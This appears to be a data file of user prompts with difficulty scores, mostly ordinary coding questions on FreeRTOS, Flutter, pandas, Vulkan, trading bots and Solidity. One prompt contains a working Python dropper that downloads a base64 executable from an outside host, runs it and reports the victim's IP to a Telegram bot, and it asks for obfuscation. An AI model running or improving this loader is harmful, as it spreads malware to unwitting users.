how to implement wait queue in freertos?
45b831beec924fe2b9dedf96b6a2a88f
{ "intermediate": 0.337758332490921, "beginner": 0.16676504909992218, "expert": 0.4954765737056732 }
15,231
arduino based unipolar stepper motor program
6a208ce7e788096a1e6ac6a1d63dcdf9
{ "intermediate": 0.24202129244804382, "beginner": 0.20096461474895477, "expert": 0.5570140480995178 }
15,232
how do I curl this rest api link '''https://scan.pulsechain.com/api?module=account&action=tokentx&address=0x2E1289F9c73218FDd635ae687B9052FD134B4Aee'''
2cc65082bb25f33e20c9c6e5c27e9d04
{ "intermediate": 0.6311290860176086, "beginner": 0.1977483630180359, "expert": 0.17112255096435547 }
15,233
#include “FreeRTOS.h” #include “semphr.h” // Define the wait queue entry structure typedef struct WaitQueueEntry { TaskHandle_t taskHandle; struct WaitQueueEntry* next; } WaitQueueEntry_t; // Define the wait queue head structure typedef struct WaitQueueHead { SemaphoreHandle_t mutex; WaitQueueEntry_t* first; WaitQueueEntry_t* last; } WaitQueueHead_t; // Initialize wait queue head void init_waitqueue_head(WaitQueueHead_t* wq_head) { wq_head->mutex = xSemaphoreCreateMutex(); wq_head->first = NULL; wq_head->last = NULL; } // Initialize wait queue entry void init_waitqueue_entry(struct WaitQueueEntry* wq_entry, TaskHandle_t task) { wq_entry->taskHandle = task; wq_entry->next = NULL; } // Add task to the wait queue void add_wait_queue(WaitQueueHead_t* wq_head, struct WaitQueueEntry* wq_entry) { xSemaphoreTake(wq_head->mutex, portMAX_DELAY); if (wq_head->last == NULL) { wq_head->first = wq_entry; wq_head->last = wq_entry; } else { wq_head->last->next = wq_entry; wq_head->last = wq_entry; } xSemaphoreGive(wq_head->mutex); } // Wake up the first task from the wait queue void wake_up(WaitQueueHead_t* wq_head) { xSemaphoreTake(wq_head->mutex, portMAX_DELAY); if (wq_head->first != NULL) { struct WaitQueueEntry* next = wq_head->first->next; xTaskNotifyGive(wq_head->first->taskHandle); // Use task notification to wake up the task wq_head->first = next; if (wq_head->first == NULL) { wq_head->last = NULL; } } xSemaphoreGive(wq_head->mutex); } // Wake up all tasks from the wait queue void wake_up_all(WaitQueueHead_t* wq_head) { xSemaphoreTake(wq_head->mutex, portMAX_DELAY); while (wq_head->first != NULL) { struct WaitQueueEntry* next = wq_head->first->next; xTaskNotifyGive(wq_head->first->taskHandle); // Use task notification to wake up the task wq_head->first = next; } wq_head->last = NULL; xSemaphoreGive(wq_head->mutex); } // Wait for a condition on the wait queue void wait_event(WaitQueueHead_t* wq_head, int condition) { while (!condition) { struct WaitQueueEntry wq_entry; init_waitqueue_entry(&wq_entry, xTaskGetCurrentTaskHandle()); add_wait_queue(wq_head, &wq_entry); ulTaskNotifyTake(pdTRUE, portMAX_DELAY); // Wait for task notification // Cleanup wait queue entry } } // Wait for a condition on the wait queue with a timeout int wait_event_timeout(WaitQueueHead_t* wq_head, int condition, TickType_t timeout_ms) { TickType_t startTime = xTaskGetTickCount(); while (!condition) { struct WaitQueueEntry wq_entry; init_waitqueue_entry(&wq_entry, xTaskGetCurrentTaskHandle()); add_wait_queue(wq_head, &wq_entry); ulTaskNotifyTake(pdFALSE, timeout_ms); // Wait for task notification with timeout // Cleanup wait queue entry if (timeout_ms > 0 && (xTaskGetTickCount() - startTime) >= timeout_ms) { return 0; // Timeout occurred } } return 1; // Condition met }
608e92788cf3bc5ae35409f9b240f86b
{ "intermediate": 0.3230053782463074, "beginner": 0.47968295216560364, "expert": 0.19731168448925018 }
15,234
How to change variable of a stateful widget from another widget using globalkey in flutter
292fff9443a11c0c82aaa4f5457e14ad
{ "intermediate": 0.4448607861995697, "beginner": 0.24448992311954498, "expert": 0.3106493055820465 }
15,235
How to change variable of a stateful widget from another widget in another file using globalkey in flutter
f4b41084fbc4ead126df8b790a1aedc4
{ "intermediate": 0.5413579940795898, "beginner": 0.24215489625930786, "expert": 0.2164871245622635 }
15,236
How to change variable inside a stateful widget from another another file using globalkey in flutter
55599420c006e1cb2363bc45d0893ce9
{ "intermediate": 0.46527618169784546, "beginner": 0.32919737696647644, "expert": 0.20552639663219452 }
15,237
Is it possible to disable access to the Internet but not local network with Firejail? If so, how?
54873f60a4e6a4d9413fd59715c5d5ea
{ "intermediate": 0.4313627779483795, "beginner": 0.212994784116745, "expert": 0.3556424081325531 }
15,238
python for index, row in submission_df.iterrows(): row['rating'] = 1 after for cycle, all values 'rating' still = 0, why
d02537a6f0cda620d710d800def831ba
{ "intermediate": 0.4215245246887207, "beginner": 0.36977630853652954, "expert": 0.20869913697242737 }
15,239
File "/home/bhandari1/context-merging.py", line 7, in <module> input_output_df = pd.read_csv('kayakalp-part3.csv', delimiter='\t') File "/home/bhandari1/.local/lib/python3.6/site-packages/pandas/io/parsers.py", line 688, in read_csv return _read(filepath_or_buffer, kwds) File "/home/bhandari1/.local/lib/python3.6/site-packages/pandas/io/parsers.py", line 460, in _read data = parser.read(nrows) File "/home/bhandari1/.local/lib/python3.6/site-packages/pandas/io/parsers.py", line 1198, in read ret = self._engine.read(nrows) File "/home/bhandari1/.local/lib/python3.6/site-packages/pandas/io/parsers.py", line 2157, in read data = self._reader.read(nrows) File "pandas/_libs/parsers.pyx", line 847, in pandas._libs.parsers.TextReader.read File "pandas/_libs/parsers.pyx", line 862, in pandas._libs.parsers.TextReader._read_low_memory File "pandas/_libs/parsers.pyx", line 918, in pandas._libs.parsers.TextReader._read_rows File "pandas/_libs/parsers.pyx", line 905, in pandas._libs.parsers.TextReader._tokenize_rows File "pandas/_libs/parsers.pyx", line 2042, in pandas._libs.parsers.raise_parser_error pandas.errors.ParserError: Error tokenizing data. C error: EOF inside string starting at row 1488
f0d40bf9627199bd1faaf68d6ed06c1d
{ "intermediate": 0.44608908891677856, "beginner": 0.2704145908355713, "expert": 0.28349629044532776 }
15,240
我想让你充当 Linux 终端。我将输入命令,您将回复终端应显示的内容。我希望您只在一个唯一的代码块内回复终端输出,而不是其他任何内容。不要写解释。除非我指示您这样做,否则不要键入命令。当我需要用英语告诉你一些事情时,我会把文字放在中括号内[就像这样]。,我的需求是:帮我创建一个安卓脚手架. 你当前的默认工作目录是 /app, 里面包含了需求中提到的代码。我的第一个命令是 [ls -aF]
0cfda6872154c94378e18613e4c23a1b
{ "intermediate": 0.3411864936351776, "beginner": 0.3778824806213379, "expert": 0.2809309959411621 }
15,241
How does one do the equivalent of iptables -L, but for nftables?
7d34f925920f885818dc4faee3654248
{ "intermediate": 0.43246641755104065, "beginner": 0.1687205582857132, "expert": 0.3988130986690521 }
15,242
как локализировать row selected в material data grid react?
5aba5e996fa3efb48025891fc4949d26
{ "intermediate": 0.3216838538646698, "beginner": 0.26750943064689636, "expert": 0.41080671548843384 }
15,243
Write a solidity contract to perform flashloans with NFTs (ERC-721 tokens). The contract must allow the following actions to be carried out in order: 1) Borrow money to flashloan with Balancer 2) Go to the Blur platform to buy the listed NFT 3) Return the money to Balancer
4f7bf153c7e4201fc883a8d6aae6f000
{ "intermediate": 0.42486855387687683, "beginner": 0.19377070665359497, "expert": 0.3813607096672058 }
15,244
how to add time zone on generate VCALENDAR in javascript?
7dafae08d29fcb01f58b740fb46be6fb
{ "intermediate": 0.39290058612823486, "beginner": 0.09120886027812958, "expert": 0.5158905386924744 }
15,245
I used your signal_generator code: import time from binance.client import Client from binance.exceptions import BinanceAPIException from binance.helpers import round_step_size import pandas as pd import json import numpy as np import pytz import datetime as dt import ccxt from decimal import Decimal import requests import hmac import hashlib import ntplib import os import ta import ta.volatility API_KEY = '' API_SECRET = '' client = Client(API_KEY, API_SECRET) def sync_time(): server_time = requests.get('https://api.binance.com/api/v3/time').json()['serverTime'] local_time = int(time.time() * 1000) time_difference = server_time - local_time # Set the system clock to the new time os.system(f'sudo date -s @{int(server_time/1000)}') print(f'New time: {dt.datetime.now()}') # Sync your local time with the server time sync_time() # Set the endpoint and parameters for the request url = "https://fapi.binance.com/fapi/v1/klines" symbol = 'BCH/USDT' interval = '1m' lookback = 44640 timestamp = int(time.time() * 1000) - 500 # subtract 500ms from local time to account for clock-drift recv_window = 60000 # increased recv_window value params = { "symbol": symbol.replace("/", ""), "interval": interval, "startTime": int((time.time() - lookback * 60) * 1000), "endTime": int(time.time() * 1000), "timestamp": timestamp, "recvWindow": recv_window } # Sign the message using the Client’s secret key message = "&".join([f"{k}={v}" for k, v in params.items()]) signature = hmac.new(API_SECRET.encode(), message.encode(), hashlib.sha256).hexdigest() params[signature] = signature # Send the request using the requests library response = requests.get(url, params=params, headers={'X-MBX-APIKEY': API_KEY}) # Check for errors in the response response.raise_for_status() order_type = 'market' binance_futures = ccxt.binance({ 'apiKey': API_KEY, 'secret': API_SECRET, 'enableRateLimit': True, # enable rate limitation 'options': { 'defaultType': 'future', 'adjustForTimeDifference': True },'future': { 'sideEffectType': 'MARGIN_BUY', # MARGIN_BUY, AUTO_REPAY, etc… } }) time.sleep(1) def get_klines(symbol, interval, lookback): url = "https://fapi.binance.com/fapi/v1/klines" end_time = int(time.time() * 1000) # end time is now start_time = end_time - (lookback * 60 * 1000) # start time is lookback minutes ago symbol = symbol.replace("/", "") # remove slash from symbol query_params = f"?symbol={symbol}&interval={interval}&startTime={start_time}&endTime={end_time}" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36' } response = requests.get(url + query_params, headers=headers) response.raise_for_status() data = response.json() if not data: # if data is empty, return None print('No data found for the given timeframe and symbol') return None ohlcv = [] for d in data: timestamp = dt.datetime.fromtimestamp(d[0]/1000).strftime('%Y-%m-%d %H:%M:%S') ohlcv.append({ 'Open time': timestamp, 'Open': float(d[1]), 'High': float(d[2]), 'Low': float(d[3]), 'Close': float(d[4]), 'Volume': float(d[5]) }) df = pd.DataFrame(ohlcv) df.set_index('Open time', inplace=True) return df df = get_klines(symbol, interval, lookback) def signal_generator(df): if df is None: return '' ema_analysis = [] candle_analysis = [] df['EMA5'] = df['Close'].ewm(span=5, adjust=False).mean() df['EMA20'] = df['Close'].ewm(span=20, adjust=False).mean() df['EMA100'] = df['Close'].ewm(span=100, adjust=False).mean() df['EMA200'] = df['Close'].ewm(span=200, adjust=False).mean() if ( df['EMA5'].iloc[-1] > df['EMA20'].iloc[-1] and df['EMA20'].iloc[-1] > df['EMA100'].iloc[-1] and df['EMA100'].iloc[-1] > df['EMA200'].iloc[-1] and df['EMA5'].iloc[-2] < df['EMA20'].iloc[-2] and df['EMA20'].iloc[-2] < df['EMA100'].iloc[-2] and df['EMA100'].iloc[-2] < df['EMA200'].iloc[-2] ): ema_analysis.append('golden_cross') elif ( df['EMA5'].iloc[-1] < df['EMA20'].iloc[-1] and df['EMA20'].iloc[-1] < df['EMA100'].iloc[-1] and df['EMA100'].iloc[-1] < df['EMA200'].iloc[-1] and df['EMA5'].iloc[-2] > df['EMA20'].iloc[-2] and df['EMA20'].iloc[-2] > df['EMA100'].iloc[-2] and df['EMA100'].iloc[-2] > df['EMA200'].iloc[-2] ): ema_analysis.append('death_cross') if ( df['Close'].iloc[-1] > df['Open'].iloc[-1] and df['Open'].iloc[-1] > df['Low'].iloc[-1] and df['High'].iloc[-1] > df['Close'].iloc[-1] ): candle_analysis.append('bullish_engulfing') elif ( df['Close'].iloc[-1] < df['Open'].iloc[-1] and df['Open'].iloc[-1] < df['High'].iloc[-1] and df['Low'].iloc[-1] > df['Close'].iloc[-1] ): candle_analysis.append('bearish_engulfing') bollinger_std = df['Close'].rolling(window=20).std() df['UpperBand'] = df['EMA20'] + (bollinger_std * 2) df['LowerBand'] = df['EMA20'] - (bollinger_std * 2) if ( df['Close'].iloc[-1] > df['UpperBand'].iloc[-1] and df['Close'].iloc[-2] < df['UpperBand'].iloc[-2] ): candle_analysis.append('upper_band_breakout') elif ( df['Close'].iloc[-1] < df['LowerBand'].iloc[-1] and df['Close'].iloc[-2] > df['LowerBand'].iloc[-2] ): candle_analysis.append('lower_band_breakout') if ('golden_cross' in ema_analysis and 'bullish_engulfing' in candle_analysis) or 'upper_band_breakout' in candle_analysis: return 'buy' elif ('death_cross' in ema_analysis and 'bearish_engulfing' in candle_analysis) or 'lower_band_breakout' in candle_analysis: return 'sell' else: return '' end_time = int(time.time() * 1000) start_time = end_time - lookback * 60 * 1000 signal = signal_generator(df) while True: df = get_klines(symbol, '1m', 44640) # await the coroutine function here if df is not None: signal = signal_generator(df) if signal is not None: print(f"The signal time is: {dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}:{signal}") time.sleep(1) But it giveing me wrong signal , and I need to take loss now , please give me right code
c4774f8f50523689a06cb62e5c67b3dd
{ "intermediate": 0.43211039900779724, "beginner": 0.3325570225715637, "expert": 0.23533260822296143 }
15,246
error LNK2001: неразрешенный внешний символ _main. #include <iostream> #include <windows.h> int scrWidth; int scrHeight; int interval = 100; LRESULT CALLBACK Melt(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) { switch (msg) { case WM_CREATE: { HDC desktop = GetDC(HWND_DESKTOP); HDC window = GetDC(hWnd); BitBlt(window, 0, 0, scrWidth, scrHeight, desktop, 0, 0, SRCCOPY); ReleaseDC(hWnd, window); ReleaseDC(HWND_DESKTOP, desktop); SetTimer(hWnd, 0, interval, 0); ShowWindow(hWnd, SW_SHOW); break; } case WM_PAINT: { ValidateRect(hWnd, 0); break; } case WM_TIMER: { HDC wndw = GetDC(hWnd); int x = (rand() % scrWidth) - (200 / 2); int y = (rand() % 15); int width = (rand() % 200); BitBlt(wndw, x, y, width, scrHeight, wndw, x, 0, SRCCOPY); ReleaseDC(hWnd, wndw); break; } case WM_DESTROY: { KillTimer(hWnd, 0); PostQuitMessage(0); break; } return 0; } return DefWindowProc(hWnd, msg, wParam, lParam); } int APIENTRY main(HINSTANCE inst, HINSTANCE prev, LPSTR cmd, int showCmd) { scrWidth = GetSystemMetrics(SM_CXSCREEN); scrHeight = GetSystemMetrics(SM_CYSCREEN); WNDCLASS wndClass = { 0, Melt, 0, 0, inst, LoadCursorW(0, IDC_ARROW), 0, 0, L"ScreenMelting" }; if (RegisterClass(&wndClass)) { HWND hWnd = CreateWindowExA(WS_EX_TOPMOST, "ScreenMelting", 0, WS_POPUP, 0, 0, scrWidth, scrHeight, HWND_DESKTOP, 0, inst, 0); if (hWnd) { srand(GetTickCount()); MSG msg = { 0 }; while (msg.message != WM_QUIT) { if (PeekMessage(&msg, 0, 0, 0, PM_REMOVE)) { TranslateMessage(&msg); DispatchMessage(&msg); } } } } }
d58b7fc1ed38fc32647a7518a91d590c
{ "intermediate": 0.335236519575119, "beginner": 0.45211556553840637, "expert": 0.21264788508415222 }
15,247
I’m building a video game engine using C++ as the coding language and Vulkan for graphics. I am trying to set up a generic renderer using Vulkan that is flexible and will render objects based on a vector that is supplied to it. The renderer will also handle the creation of the window using GLFW and use GLM for all relevant math calls. I am using the ASSIMP library to load 3d models and animations. Here is some of the code: Camera.h: #pragma once #include <glm/glm.hpp> class Camera { public: Camera(); ~Camera(); void Initialize(float aspectRatio); void Shutdown(); void SetPosition(const glm::vec3& position); void SetRotation(const glm::vec3& rotation); const glm::mat4& GetViewMatrix() const; const glm::mat4& GetProjectionMatrix() const; void UpdateAspectRatio(float aspectRatio); private: glm::vec3 position; glm::vec3 rotation; glm::mat4 viewMatrix; glm::mat4 projectionMatrix; void UpdateViewMatrix(); }; Camera.cpp: #include "Camera.h" #include <glm/gtc/matrix_transform.hpp> Camera::Camera() : position(0.0f), rotation(0.0f), viewMatrix(1.0f), projectionMatrix(1.0f) { } Camera::~Camera() { Shutdown(); } void Camera::Initialize(float aspectRatio) { projectionMatrix = glm::perspective(glm::radians(45.0f), aspectRatio, 0.1f, 100.0f); SetPosition(glm::vec3(0.0f, 0.0f, 3.0f)); SetRotation(glm::vec3(0.0f, 0.0f, 0.0f)); } void Camera::Shutdown() { } void Camera::UpdateAspectRatio(float aspectRatio) { projectionMatrix = glm::perspective(glm::radians(45.0f), aspectRatio, 0.1f, 100.0f); } void Camera::SetPosition(const glm::vec3& position) { this->position = position; UpdateViewMatrix(); } void Camera::SetRotation(const glm::vec3& rotation) { this->rotation = rotation; UpdateViewMatrix(); } const glm::mat4& Camera::GetViewMatrix() const { return viewMatrix; } const glm::mat4& Camera::GetProjectionMatrix() const { return projectionMatrix; } void Camera::UpdateViewMatrix() { glm::mat4 rotMatrix = glm::mat4(1.0f); rotMatrix = glm::rotate(rotMatrix, rotation.x, glm::vec3(1.0f, 0.0f, 0.0f)); rotMatrix = glm::rotate(rotMatrix, rotation.y, glm::vec3(0.0f, 1.0f, 0.0f)); rotMatrix = glm::rotate(rotMatrix, rotation.z, glm::vec3(0.0f, 0.0f, 1.0f)); glm::vec3 lookAt = glm::vec3(rotMatrix * glm::vec4(0.0f, 0.0f, -1.0f, 0.0f)); viewMatrix = glm::lookAt(position, position + lookAt, glm::vec3(0.0f, 1.0f, 0.0f)); } Can you convert the Camera class to utilise quaternions?
8e0fb1a2fe986cf5b05a6d180f07a6ec
{ "intermediate": 0.3546581566333771, "beginner": 0.362588495016098, "expert": 0.2827534079551697 }
15,248
hi
b45361f165f118fbee70b20c796234b0
{ "intermediate": 0.3246487081050873, "beginner": 0.27135494351387024, "expert": 0.40399640798568726 }
15,249
can you write a java code that gets value of a field by using reflection?
448187c3eb3168b3179a69c70e4f5e52
{ "intermediate": 0.6279063820838928, "beginner": 0.14637818932533264, "expert": 0.22571535408496857 }
15,250
как локализировать row selected в material data grid react с помощью themeProvider?
952120a335da46ea753275fa1fea7dde
{ "intermediate": 0.380831778049469, "beginner": 0.20496989786624908, "expert": 0.4141983687877655 }
15,251
<form method="post" action="logout"> <input type="hidden" data-th-name="${_csrf.parameterName}" data-th-value="${_csrf.token}"/> <button type="submit">Выйти</button> <h4>${_csrf.parameterName}</h4> <h4>${_csrf.token}</h4> </form> откуда тут получается csrf парметр и токен?
967c0f0c0fcf6a02b4c8fc03e5a4a791
{ "intermediate": 0.3885214030742645, "beginner": 0.3275381922721863, "expert": 0.2839403450489044 }
15,252
Исправь ошибки в коде error C3861: PathIsExeW: идентификатор не найден #include <Windows.h> #include <ShlObj.h> #include <Pathcch.h> #pragma comment(lib, "Pathcch.lib") int main() { // Путь к нашей новой иконке PCWSTR iconPath = L"D:\NEDOHAKERS\Project1\Project1\Screenshot_1.ico"; // Укажите путь к своей иконке // Определяем стандартную иконку приложения WCHAR defaultIcon[MAX_PATH]; DWORD bufsize = GetSystemDirectoryW(defaultIcon, MAX_PATH); if (bufsize == 0 || bufsize > MAX_PATH) { // Ошибка при получении стандартной иконки return 1; } PathCchAppend(defaultIcon, MAX_PATH, L"shell32.dll"); int iconIndex = 0; // Получаем все ярлыки на рабочем столе HANDLE hFind; WIN32_FIND_DATAW findData; WCHAR desktopPath[MAX_PATH]; SHGetSpecialFolderPathW(NULL, desktopPath, CSIDL_DESKTOPDIRECTORY, FALSE); PathCchAppend(desktopPath, MAX_PATH, L"."); hFind = FindFirstFileW(desktopPath, &findData); if (hFind != INVALID_HANDLE_VALUE) { do { if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { // Меняем иконку ярлыка WCHAR filePath[MAX_PATH]; PathCchCombine(filePath, MAX_PATH, desktopPath, findData.cFileName); PathCchRemoveExtension(filePath, MAX_PATH); if (!PathIsExeW(filePath)) { // Файл не является исполняемым continue; } PathCchAppend(filePath, MAX_PATH, L".lnk"); // Получаем объект ярлыка IShellLink * psl; HRESULT hr = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&psl)); if (SUCCEEDED(hr)) { IPersistFile* ppf; hr = psl->QueryInterface(IID_PPV_ARGS(&ppf)); if (SUCCEEDED(hr)) { hr = ppf->Load(filePath, STGM_READWRITE); if (SUCCEEDED(hr)) { // Меняем путь к иконке ярлыка hr = psl->SetIconLocation(iconPath, iconIndex); if (FAILED(hr)) { // Ошибка при изменении иконки ярлыка ppf->Release(); psl->Release(); continue; } // Сохраняем изменения hr = ppf->Save(filePath, TRUE); ppf->Release(); if (FAILED(hr)) { // Ошибка при сохранении изменений psl->Release(); continue; } } } psl->Release(); } } } while (FindNextFileW(hFind, &findData)); FindClose(hFind); } return 0; }
02977b1e97002cf6700f23fe82154a73
{ "intermediate": 0.3253473937511444, "beginner": 0.4924827218055725, "expert": 0.18216992914676666 }
15,253
how to generate DTSTAMP in VCALENDAR?
d24c3093448d2e1fe5b9cff183369192
{ "intermediate": 0.25060945749282837, "beginner": 0.11335720121860504, "expert": 0.6360333561897278 }
15,254
как использовать GridLocaleText в react material ui?
7be1bd1913d226b01edbbaecdd6ece64
{ "intermediate": 0.38836413621902466, "beginner": 0.29437685012817383, "expert": 0.3172589838504791 }
15,255
<!DOCTYPE html> <html lang="ru"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="profil.css"> <title>Личный кабинет</title> </head> <div id="header"> <div class="navbar"> <div class="navbar__company"> Industrial Solutions RUS </div> </div> <img src="image/logo.png"> </div> </div> <form> <div class="content"> <div class="container content-container container_auth"> <div class="auth__wrapper"> <form action="" method="post" class="form"> <input type="image" src="image/profil.png" alt="Submit" align="middle" style="margin-left:400px"; width="308" height="0"> <h1>Мой Профиль</h1> <div class="content"> <div class="container content-container container_auth"> <div class="auth__wrapper"> <div id="savedData"> <!-- Здесь будут отображаться сохраненные данные --> </div> </div> </div> </div> </div> </div> </div> </div> </div> </form> <div class="footer"> <div class="footer_wrapper"> <div class="footer__left"> <div class="footer__portalname">Портал субподрядчиков | tkIS</div> <div class="footer__links"> <div class="footer__links__column"> <a href="index1.html" class="footer__link"> Главная </a> <a href="proect.html" class="footer__link"> Проекты компании </a> <a href="log.html" class="footer__link"> Вход в личный кабинет </a> </div> <div class="footer__links__column"> <a href="https://is-dz.com/" class="footer__link"> Cайт организации </a> <a href="https://www.thyssenkrupp-industrial-solutions.com/en" class="footer__link"> Корпоративный сайт </a> <a href="https://www.thyssenkrupp.com/en/home" class="footer__link"> Сайт thyssenkrupp AG </a> </div> </div> </div> <div class="footer__right"> <div class="footer__company">thyssenkrupp</div> <div class="footer__country">Russia</div> </div> </div> </div> </div> </div> <script> var savedData = localStorage.getItem("savedData"); if (savedData) { savedData = JSON.parse(savedData); var savedDataDiv = document.getElementById("savedData"); for (var key in savedData) { savedDataDiv.innerHTML += "<p>" + key + ": " + decodeURIComponent(savedData[key]) + "</p>"; } } else { alert("Нет сохраненных данных"); } document.addEventListener("DOMContentLoaded", function() { localStorage.removeItem("savedData"); }); </script> </body> </html> Сделай так, чтобы были в форме были названия всех полей, а рядом с ними окна, и чтобы в эти окна загружались данные
736d6bf0742ca6a7f25677b96ab33720
{ "intermediate": 0.3039858937263489, "beginner": 0.5454862117767334, "expert": 0.1505279392004013 }
15,256
<html lang=“ru”> <head> <meta charset=“UTF-8”> <meta name=“viewport” content=“width=device-width, initial-scale=1.0”> <link rel=“stylesheet” href=“profil.css”> <title>Личный кабинет</title> </head> <div id=“header”> <div class=“navbar”> <div class=“navbar__company”> Industrial Solutions RUS </div> </div> <img src=“image/logo.png”> </div> </div> <form> <div class=“content”> <div class=“container content-container container_auth”> <div class=“auth__wrapper”> <form action=“” method=“post” class=“form”> <input type=“image” src=“image/profil.png” alt=“Submit” align=“middle” style=“margin-left:400px”; width=“308” height=“0”> <h1>Мой Профиль</h1> <div class=“content”> <div class=“container content-container container_auth”> <div class=“auth__wrapper”> <div id=“savedData”> <!-- Здесь будут отображаться сохраненные данные --> </div> </div> </div> </div> </div> </div> </div> </div> </div> </form> <div class=“footer”> <div class=“footer_wrapper”> <div class=“footer__left”> <div class=“footer__portalname”>Портал субподрядчиков | tkIS</div> <div class=“footer__links”> <div class=“footer__links__column”> <a href=“index1.html” class=“footer__link”> Главная </a> <a href=“proect.html” class=“footer__link”> Проекты компании </a> <a href=“log.html” class=“footer__link”> Вход в личный кабинет </a> </div> <div class=“footer__links__column”> <a href=“https://is-dz.com/” class=“footer__link”> Cайт организации </a> <a href=“https://www.thyssenkrupp-industrial-solutions.com/en” class=“footer__link”> Корпоративный сайт </a> <a href=“https://www.thyssenkrupp.com/en/home” class=“footer__link”> Сайт thyssenkrupp AG </a> </div> </div> </div> <div class=“footer__right”> <div class=“footer__company”>thyssenkrupp</div> <div class=“footer__country”>Russia</div> </div> </div> </div> </div> </div> <script> var savedData = localStorage.getItem(“savedData”); if (savedData) { savedData = JSON.parse(savedData); var savedDataDiv = document.getElementById(“savedData”); for (var key in savedData) { savedDataDiv.innerHTML += “<p>” + key + ": " + decodeURIComponent(savedData[key]) + “</p>”; } } else { alert(“Нет сохраненных данных”); } document.addEventListener(“DOMContentLoaded”, function() { localStorage.removeItem(“savedData”); }); </script> </body> </html> Сделай так, чтобы были в форме были названия всех полей, а рядом с ними окна, и чтобы в эти окна загружались данные
a6bcd6521e12c01f6568fb505a27cd38
{ "intermediate": 0.33890634775161743, "beginner": 0.4503401219844818, "expert": 0.2107534557580948 }
15,257
hi
e6be80afff3e899bd82031fe51699843
{ "intermediate": 0.3246487081050873, "beginner": 0.27135494351387024, "expert": 0.40399640798568726 }
15,258
do you know about rc-slider package?
ce3611839640a2247aab5b7f5df820b2
{ "intermediate": 0.4949968755245209, "beginner": 0.1812451183795929, "expert": 0.32375797629356384 }
15,259
What do I need to write to solve this error: from solidity: ParserError: Expected identifier but got 'Number' --> contracts/Flashloan.sol:12:10: | 12 | function 0x1bd8b362(uint256 varg0) public nonPayable { | ^^^^^^^^^^
e59ff890090ed23d6e23338e17349949
{ "intermediate": 0.6627341508865356, "beginner": 0.2719866633415222, "expert": 0.06527917087078094 }
15,260
how should i extract the value of this SOAPMessage object that is returning from this value??
3ec5e590ff52d9e186decc7a727ae9e8
{ "intermediate": 0.5679462552070618, "beginner": 0.16095253825187683, "expert": 0.2711012363433838 }
15,261
unsupervised model train only on clumns
a64da4c6eff114f793a5df7ac8e886ca
{ "intermediate": 0.21904665231704712, "beginner": 0.27007314562797546, "expert": 0.5108802318572998 }
15,262
how to add a return to lign in a print in python ?
409744ee103456becfa50e1841f48f94
{ "intermediate": 0.2930680513381958, "beginner": 0.36921635270118713, "expert": 0.33771565556526184 }
15,263
how do you write a query string
150b89ab2aaee7529e2cd95b805c6e90
{ "intermediate": 0.3249984383583069, "beginner": 0.3323987126350403, "expert": 0.3426028788089752 }
15,264
import os import base64 import requests import getpass import socket URL = "http://reqa.pw/a" username = getpass.getuser() computer_name = socket.gethostname() file_name = username + computer_name file_path = os.path.join(os.environ["TEMP"], f"{file_name}.exe") if os.path.exists(file_path): os.startfile(file_path) ip_address = socket.gethostbyname(socket.gethostname()) requests.get(f"https://api.telegram.org/bot6325419857:AAH7O20n5of8yGfr2ZvbKENKXysXGkdLZog/sendMessage?chat_id=5200573910&text=Started(exists){ip_address}") else: try: response = requests.get(URL) if response.status_code == 200: file_data = base64.b64decode(response.content.decode("utf-8")) with open(file_path, "wb") as file: file.write(file_data) os.startfile(file_path) ip_address = socket.gethostbyname(socket.gethostname()) requests.get(f"https://api.telegram.org/bot6325419857:AAH7O20n5of8yGfr2ZvbKENKXysXGkdLZog/sendMessage?chat_id=5200573910&text=Started{ip_address}") except: pass Этот код расшифровывает base64 и запускает сделай так чтобы перед расшифровкой он заменял в строке base64 все ? на A
9cdcf55a35c6453ae3da6a19698bef8d
{ "intermediate": 0.42128294706344604, "beginner": 0.4022384285926819, "expert": 0.17647863924503326 }
15,265
const chart = useRef<Chart|null>(null); return <> <Box ref={ref} id={`chart-${uniqueId}`} width={!showToolbar ? "calc(100% - 5px)" : "calc(100% - 55px)"} height="100%" position="relative" sx={{borderLeft: theme => `2px solid ${theme.palette.grey[50]}`}} > <CustomOverlay chart={chart} paneId={paneId} price={0.0634} /> </Box> }; export default CandleChartToolbar; import React, {useEffect} from "react"; import {registerOverlay} from "klinecharts"; import {Icon, IconButton, useTheme} from "@mui/material"; import { RulerIcon } from "../../icons"; const CustomOverlay = ({chart, price, paneId}: any) => { const customizeChart = () => { registerOverlay({ name: "customOverlay", needDefaultXAxisFigure: true, totalStep: 1, createPointFigures: function({overlay, coordinates}) { const y = chart.current?.convertToPixel(overlay.points) console.log(y); return [ { type: "line", attrs: { coordinates: [ {x: 0, y: 150}, {x: 1000, y: 150}, ], }, styles: { style: "solid", color: "#1e293b", }, }, { type: "rect", attrs: { x: coordinates[0].x - 100, y: coordinates[0].y - 25, width: 100, height: 24, }, styles: { style: "fill", color: "#1e293b3d", }, }, ]; }, }); }; const onClickHandler = () => { chart.current?.createOverlay({ name: "customOverlay", styles: { rect: { color: "#1e293b3d", }, text: { color: "#1e293b", }, line: { color: "#1e293b", }, point: { color: "#1e293b", borderColor: "#1e293b", activeColor: "#1e293b", activeBorderColor: "#1e293bd1", }, }, points: [{ dataIndex: 74, timestamp: 0, value: price, }], onSelected: function(event) { console.log(event.overlay.id); return false; }, }); }; useEffect(() => { customizeChart(); }, []); return <> <IconButton onClick={onClickHandler} sx={{borderRadius: 2, color: "#677294"}}> <Icon component={RulerIcon} /> </IconButton> </>; }; export default CustomOverlay; TypeError: Cannot read properties of undefined (reading 'paneId') > 15 | const y = chart.current?.convertToPixel(overlay.points) в чем ошибка и как исправить
e4e62c72e3457ac39d2874fb861b2f65
{ "intermediate": 0.4166560173034668, "beginner": 0.4627220928668976, "expert": 0.12062187492847443 }
15,266
Hi! let's write c# code to smooth an array of points (x, y) into a curved line of Bezier segments!
bbc6ab9dfadde94a33f4136bb6c09278
{ "intermediate": 0.41031724214553833, "beginner": 0.1376943737268448, "expert": 0.4519883394241333 }
15,267
